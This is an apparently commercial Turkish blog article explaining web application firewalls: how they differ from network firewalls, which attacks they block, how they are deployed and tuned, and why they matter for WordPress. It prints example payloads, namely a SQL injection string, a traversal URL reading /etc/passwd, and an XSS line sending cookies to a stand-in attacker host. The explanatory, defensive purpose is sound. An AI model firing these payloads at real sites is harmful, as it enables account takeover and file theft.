Bir web sunucusuna her saniye onlarca istek düşer ve bunların hepsi aynı niyeti taşımaz. Bir kısmı gerçek bir ziyaretçinin sayfa açması, tıklaması, formu doldurmasıdır; bir kısmı ise veritabanını ele geçirmeye, oturum çerezini çalmaya ya da sunucuya arka kapı bırakmaya çalışan otomatik bir betiktir. WAF (Web Application Firewall — Web Uygulama Güvenlik Duvarı) tam olarak bu ayrımı yapmak için var olan katmandır: HTTP/HTTPS trafiğini uygulama seviyesinde okur, zararlı örüntüleri tanır ve isteği sunucuya hiç ulaştırmadan durdurur.
Bu yazıda WAF'ın klasik ağ güvenlik duvarından nerede ayrıldığına, hangi saldırı sınıflarını durdurduğuna, kural tabanlı ile davranışsal koruma arasındaki farka, sunucuya nereden bağlanabileceğine, yanlış pozitiflerin nasıl yönetileceğine ve WordPress gibi eklenti ağırlıklı sitelerde neden ayrı bir önem taşıdığına bakacağız.
WAF Nedir, Neden Gerekir?#
WAF, bir web uygulamasına — bir siteye, bir API'ye, bir yönetim paneline — gelen HTTP isteklerini tek tek inceleyen ve zararlı bulduklarını reddeden bir güvenlik katmanıdır. Klasik bir güvenlik duvarından farkı, baktığı şeyin niteliğinde saklı: paket başlıklarına ya da port numaralarına değil, isteğin içeriğine odaklanır. URL parametreleri, form gönderileri, çerezler, HTTP başlıkları, hatta yüklenen dosyaların kendisi bu denetimin kapsamına girer.
Peki bu neden gerekli? Çünkü modern bir uygulama — ister hazır bir CMS olsun ister özel yazılmış bir yazılım — kod seviyesinde açıklar barındırabilir, ve bu açıkların tamamını anında kapatmak her zaman mümkün olmaz. Bir eklentide bir hafta önce keşfedilen bir zafiyet olabilir, geliştirici henüz yama yayınlamamış olabilir, ya da yama çıksa bile sunucuya kurulması birkaç gün alabilir. WAF tam da bu aralıkta devreye girer: kodun kendisine dokunmadan, saldırı isteğini kapıda durdurarak bir tür sanal yama görevi görür. Bu, özellikle güncellemesi geciken bir CMS ya da eski bir eklenti çalıştıran siteler için ciddi bir zaman kazancıdır.
Ağ Güvenlik Duvarından Farkı: Katman 3/4 ile Katman 7#
Bu ayrımı netleştirmenin en kolay yolu OSI modeline bakmak:
- Geleneksel (ağ) güvenlik duvarı çoğunlukla Katman 3 (ağ) ve Katman 4 (taşıma) seviyesinde iş görür. Baktığı şey IP adresi, port numarası ve protokoldür — "bu bağlantıya izin var mı yok mu" sorusuna cevap verir. 22 numaralı SSH portunu yalnızca belirli IP'lere açık tutmak, kötü şöhretli bir IP bloğunu toptan reddetmek klasik bir güvenlik duvarının görevidir.
- WAF ise Katman 7'de, yani uygulama katmanında çalışır. Onu ilgilendiren bağlantının kendisi değil, taşıdığı HTTP isteğinin anlamıdır.
?id=1parametresinin sonuna' OR '1'='1eklenmiş mi, bir form alanına<script>etiketi sıkıştırılmış mı, "dosya yükle" isteği aslında bir PHP kabuğu mu — bunları ancak isteğin içeriğini okuyabilen bir sistem yakalayabilir.
Kısaca özetlemek gerekirse: ağ güvenlik duvarı "kim, hangi kapıdan giriyor" sorusunu, WAF ise "içeri girenin elinde ne var" sorusunu yanıtlar. Biri diğerinin yerine geçmez, ikisi birbirini tamamlar — nitekim çoğu ciddi altyapıda ikisi aynı anda, farklı katmanlarda çalışır. Hacimsel saldırılara karşı koruma katmanlarının nasıl kurgulandığını merak ediyorsanız DDoS saldırısı nedir yazımız konuyu daha derinlemesine ele alıyor; pratikte WAF çoğu zaman DDoS korumasıyla aynı CDN/uç (edge) katmanında birlikte çalıştırılır.
WAF Hangi Saldırıları Engeller?#
SQL Injection (SQLi)#
Saldırgan bir form alanına ya da URL parametresine SQL komutu sıkıştırarak veritabanını kendi isteği doğrultusunda manipüle etmeye çalışır. Ders kitabı örneği şudur:
' OR '1'='1' --
Bu dize bir giriş formuna yazıldığında, arkadaki sorgu dikkatsizce kurulmuşsa koşul her zaman "doğru" dönebilir ve kimlik doğrulama tamamen atlanabilir. WAF, istek gövdesindeki tek tırnak, UNION SELECT, -- yorum işareti gibi SQL'e özgü sözdizimsel imzaları tanıyarak isteği uygulamaya hiç ulaşmadan reddeder.
Cross-Site Scripting (XSS)#
Burada saldırganın amacı sayfaya çalıştırılabilir JavaScript sokmaktır; genellikle hedef ziyaretçinin oturum çerezini çalmak ya da sayfayı taklit ederek bilgi toplamaktır:
<script>document.location='https://kotuadres.com/?c='+document.cookie</script>
WAF, form alanlarında veya URL'de <script>, onerror=, javascript: gibi kalıpları yakalayarak bu tür girdileri süzgeçten geçirir.
Local/Remote File Inclusion (LFI/RFI)#
Saldırgan, dosya yolu parametresini oynayarak sunucuda bulunmaması gereken bir dosyayı (mesela /etc/passwd) okumaya ya da uzaktaki zararlı bir dosyayı sunucuya dahil ettirmeye çalışır:
example.com/index.php?page=../../../../etc/passwd
WAF, ../ gibi dizin gezinme (path traversal) örüntülerini ve şüpheli uzak URL referanslarını tanıyıp bu isteği engeller.
Kötü niyetli bot trafiği#
Şifre kırma denemeleri (brute-force), içerik kazıma (scraping), stok/rezervasyon botları, otomatik spam form gönderimi de WAF'ın ilgi alanına girer. Burada genelde tek bir imza değil, davranış analizi devreye girer: aynı IP'den saniyede onlarca giriş denemesi, insan hızının çok üzerinde tıklama/istek örüntüsü, eksik ya da sahte tarayıcı başlıkları gibi sinyaller botu ele verir.
Diğer yaygın saldırı sınıfları#
- Command Injection — form ya da URL üzerinden işletim sistemi komutu çalıştırma girişimi
- CSRF (Cross-Site Request Forgery) destekli ek kontrol katmanları
- Kötü niyetli dosya yükleme —
.phpuzantılı bir dosyanın.jpggibi görünmesi - Bilinen zafiyet imzaları — popüler CMS ve eklentilerde açıklanmış CVE'lere karşı hazır saldırı kalıpları
Kural Tabanlı ve Davranışsal WAF Yaklaşımları#
WAF'lar iki temel mantıkla çalışır; ciddi ürünlerin neredeyse tamamı bu ikisini birlikte kullanır.
Kural/imza tabanlı (signature-based) koruma, bilinen saldırı kalıplarını bir kural setinde tutar ve gelen her isteği bu kalıplarla karşılaştırır — bu yaklaşıma bazen "negatif güvenlik modeli" de denir, çünkü sistem "bilinen kötüyü" reddeder, geri kalan her şeye izin verir. En yaygın açık kaynak örneği OWASP ModSecurity Core Rule Set (CRS)'tir; ModSecurity kural motorudur, CRS ise bu motorun üzerinde çalışan hazır kural koleksiyonudur. Avantajı hız ve öngörülebilirliktir; zayıf noktası, kural setine henüz eklenmemiş yeni (zero-day) bir tekniğe karşı kör kalabilmesidir.
Davranışsal (anomali tabanlı) koruma ise "normal" trafiğin neye benzediğini öğrenir ve bu profilden sapan istekleri şüpheli olarak işaretler — bir nevi "pozitif güvenlik modeli"ne yaklaşır. Örneğin bir kullanıcının aynı formu saniyede elli kez göndermesi, hiçbir bilinen imzaya uymasa da davranışsal olarak anormaldir ve durdurulabilir. Bu yaklaşım zero-day saldırılara ve otomatik botlara karşı daha dirençlidir, ama yanlış pozitif riski de kural tabanlı yönteme göre daha yüksektir.
Pratikte işleyen bir WAF konfigürasyonu genelde üçünü bir arada kullanır:
- Bilinen saldırı imzalarını yakalayan bir temel kural seti (CRS benzeri)
- IP itibar listeleri ve bilinen botnet/kötü niyetli kaynak veritabanları
- Trafik hızı ve davranış tabanlı ek kısıtlar (rate limiting, oran sınırlama)
WAF Nereye Konumlandırılır?#
Bir WAF'ı devreye almanın üç yaygın yolu var; hangisini seçeceğiniz elinizdeki altyapıya ve teknik kapasiteye bağlı.
1. CDN/Bulut tabanlı WAF#
Cloudflare, Sucuri gibi sağlayıcıların sunduğu bu modelde trafik, sizin sunucunuza ulaşmadan önce sağlayıcının küresel ağından geçer. Kurulumu genelde yalnızca DNS kaydını sağlayıcıya yönlendirmekten ibarettir ve beraberinde DDoS koruması, CDN önbellekleme gibi ek faydalar da gelir. Filtreleme sizin sunucunuzun dışında gerçekleştiği için sunucu kaynağı tüketmez, dolayısıyla performans açısından da avantajlıdır. Bu konuyu daha kapsamlı ele aldığımız Cloudflare ile DNS ve CDN yazımıza göz atabilirsiniz.
2. Ters proxy (reverse proxy) katmanı#
Nginx ya da Apache'nin önüne konumlanan bir ters proxy üzerinde ModSecurity gibi bir modül çalıştırılabilir. Basit bir Nginx + ModSecurity yapılandırma parçası şöyle görünür:
server {
listen 443 ssl;
server_name example.com;
modsecurity on;
modsecurity_rules_file /etc/nginx/modsec/main.conf;
location / {
proxy_pass http://127.0.0.1:8080;
}
}
Bu yaklaşım size sunucu üzerinde tam kontrol verir, ama kural motorunun ihtiyaç duyduğu CPU ve RAM'i sunucu kaynağınızdan ayırmanızı gerektirir.
3. Uygulama/sunucu modülü seviyesi#
Bazı hosting kontrol panelleri ya da CMS eklentileri (örneğin WordPress güvenlik eklentileri) uygulama seviyesinde daha hafif bir WAF katmanı sunar. Sunucu yönetimiyle uğraşmak istemeyen kullanıcılar için pratik bir başlangıç noktasıdır; ancak istek zaten PHP/uygulama katmanına ulaşıp sunucu kaynağını tükettikten sonra filtrelendiği için, CDN ya da ters proxy seviyesindeki korumaya kıyasla kapsamı daha sınırlıdır.
Hangi katmanı seçerseniz seçin, WAF'ı SSL sertifikası ile birlikte düşünmek gerekir: trafiğinizin büyük bölümü HTTPS üzerinden aktığı için WAF'ın şifreli trafiği de çözüp inceleyebilmesi (yani SSL sonlandırma noktasında ya da ona erişimi olan bir konumda durması) şarttır — aksi halde saldırı payload'ları şifrelenmiş içeriğin arkasında WAF'ın gözünden kaçabilir.
Yanlış Pozitif (False Positive) Yönetimi#
WAF'la çalışırken karşılaşılan en can sıkıcı pratik sorun, meşru bir isteğin yanlışlıkla saldırı sanılıp engellenmesidir. Örneğin bir blog yazısında SQL üzerine teknik bir örnek paylaşan kullanıcı, metninde SELECT * FROM geçtiği için engellenebilir; bir form alanına HTML kod örneği yapıştıran biri XSS kuralına takılabilir.
Yanlış pozitifleri azaltmak için izlenebilecek pratik adımlar:
- Önce izleme (monitor/log) modunda çalıştırın. Kuralları doğrudan engelleme moduna almadan önce bir süre yalnızca loglayın, gerçek trafikte hangi kuralların tetiklendiğini gözlemleyin.
- Kural bazlı istisna tanımlayın. Belirli bir form alanını veya belirli bir URL yolunu, yalnızca ilgili kural için istisnaya alın — tüm korumayı kapatmak yerine noktasal çözüm üretin.
- Kademeli devreye alın. Tüm kural setini birden aktif etmek yerine önce en kritik kategorileri (SQLi, XSS) açın, diğerlerini aşama aşama ekleyin.
- Logları düzenli inceleyin. Engellenen isteklerin gerçekten kötü niyetli mi yoksa gerçek bir ziyaretçi/müşteri mi olduğunu periyodik olarak kontrol edin.
- Uygulamaya özel ayarlayın. Bir e-ticaret sitesiyle bir API'nin normal trafik profili birbirinden çok farklıdır; genel bir kural seti ilk günden itibaren hiçbir zaman mükemmel çalışmaz, zamanla ince ayar ister.
Doğru ayarlanmış bir WAF, güvenlik ile kullanılabilirlik arasında bir denge kurar; aşırı agresif bir yapılandırma gerçek müşterileri kapıda kaybettirebilir, gevşek bir yapılandırmaysa korumayı anlamsız hale getirir.
WordPress İçin WAF Neden Özellikle Değerli?#
WordPress dünyanın en yaygın CMS'i olduğu için aynı zamanda en çok hedef alınan platformdur. Sorunun büyük kısmı çekirdek WordPress'ten değil, binlerce farklı eklenti ve temadan gelir — her biri kendi güvenlik açığını taşıyabilir, ve hepsini anında güncel tutmak pratikte zordur. WAF burada şu şekillerde devreye girer:
- Popüler bir eklentide yeni bir CVE yayınlandığında, geliştirici yamayı çıkarıp siz onu kuruncaya kadar WAF geçici bir kalkan görevi görür.
wp-login.phpvexmlrpc.phpgibi sık hedeflenen uç noktalara yönelik brute-force denemeleri, davranışsal kurallarla hız sınırlandırılabilir.- Yorum formları, iletişim formları gibi kullanıcı girdisi alan her nokta otomatik olarak SQLi/XSS denetiminden geçer.
WordPress güvenliğini bütün olarak ele aldığımız WordPress güvenliği yazımızda eklenti seçiminden güncel tutmaya kadar tamamlayıcı önlemleri bulabilirsiniz; WAF bu önlemler zincirinin yalnızca bir halkasıdır, tek başına yeterli değildir. Düzenli yedekleme alışkanlığı ve güçlü parolalar (bkz. şifre üretici aracımız) ile birlikte kullanıldığında çok daha sağlam bir savunma hattı oluşturur.
Sıkça Sorulan Sorular#
WAF ile antivirüs/malware tarayıcısı aynı şey mi?#
Hayır. WAF, siteye gelen HTTP trafiğini gerçek zamanlı denetler ve saldırıyı sunucuya ulaşmadan engellemeye çalışır; malware tarayıcısı ise sunucudaki dosyaları tarayıp zaten bulaşmış zararlı kodu tespit eder. İkisi farklı aşamalarda çalışır ve birlikte kullanılmaları önerilir.
WAF sitemi yavaşlatır mı?#
CDN tabanlı bir WAF genelde performansı düşürmez, hatta önbellekleme sayesinde sayfayı hızlandırabilir bile. Sunucu üzerinde çalışan bir ters proxy WAF'ı ise ek CPU kullanımı getirir, ama modern donanımlarda bu fark çoğu site için gözle görülür seviyede değildir.
Küçük bir kişisel blog için WAF gerekli mi?#
Trafiği düşük olsa da otomatik botlar hedef seçmeden tüm interneti tarar; küçük bir blog da brute-force ya da spam bot trafiğinden nasibini alır. Ücretsiz, CDN tabanlı temel WAF seçenekleri bu senaryoda düşük maliyetle ciddi bir koruma sağlar.
WAF, DDoS saldırılarını da durdurur mu?#
Kısmen. WAF esas olarak uygulama katmanı (L7) saldırılarına odaklanır ve aşırı sayıda sayfa isteği gibi L7 tipi DDoS saldırılarını hafifletebilir. Ama büyük hacimli ağ katmanı (L3/L4) DDoS saldırılarına karşı ayrı bir DDoS koruma katmanı gerekir; WAF tek başına bu tür saldırıları durduramaz.
Açık kaynak bir WAF kullanabilir miyim?#
Evet, ModSecurity + OWASP Core Rule Set en yaygın açık kaynak seçenektir ve Nginx/Apache üzerinde kendi sunucunuzda çalıştırılabilir. Kurulumu ve kural ayarları teknik bilgi gerektirir; yönetilen bir hizmet bu operasyonel yükü sizden alır.
WAF kurduktan sonra siteme hâlâ saldırı denendiğini görebilir miyim?#
Evet, çoğu WAF çözümü engellenen istekleri ayrı bir log/panelde gösterir; bu loglar hem saldırı hacmini takip etmenizi hem de olası yanlış pozitifleri fark etmenizi sağlar.
WAF tek başına mutlak bir güvenlik garantisi vermez, ama saldırı yüzeyini belirgin biçimde daraltan, sunucu kaynağını ve geliştirici zamanını koruyan pratik bir katmandır. Sitenizin trafiğini uygulama seviyesinde bu şekilde denetlemek istiyorsanız WAF hizmetimizi inceleyebilir; genel altyapı güvenliği için sunucu ve hosting seçeneklerimize göz atabilirsiniz.